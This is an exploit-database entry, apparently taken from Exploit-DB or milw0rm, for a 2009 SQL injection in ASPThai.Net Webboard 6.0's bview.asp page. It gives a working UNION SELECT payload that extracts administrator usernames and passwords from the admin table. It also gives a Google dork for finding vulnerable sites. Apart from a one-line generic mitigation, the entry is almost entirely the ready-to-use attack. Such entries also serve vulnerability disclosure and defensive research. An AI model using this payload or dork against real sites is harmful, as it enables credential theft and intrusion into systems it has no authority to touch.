header-logo
Suggest Exploit
vendor:
Webboard
by:
DaiMon
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Webboard
Affected Version From: 6
Affected Version To: 6
Patch Exists: N/A
Related CWE: N/A
CPE: a:aspthai.net:webboard:6.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

ASPThai.Net Webboard 6.0(bview.asp) SQL Injection Vulnerability

bview.asp?id=1+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.
Source

Exploit-DB raw data:

ASPThai.Net Webboard 6.0(bview.asp) SQL Injection Vulnerability
#############################################
>>Autore: DaiMon
>>Email: cwdaimon[1]gmail.com
>>Site: http://www.cwdaimon.com
>>Version: 6.0
>>Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM
##############################################
>>>>
Bug In \bview.asp
>>>>
Google Dork:
allinurl:bview.asp?id=
>>>>
Exploit:
 
bview.asp?id=1+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin
##############################################
Special:PARS! & Equilibrium & KaYZeRSoZe & ALL Cyber-Warrior

# milw0rm.com [2009-01-01]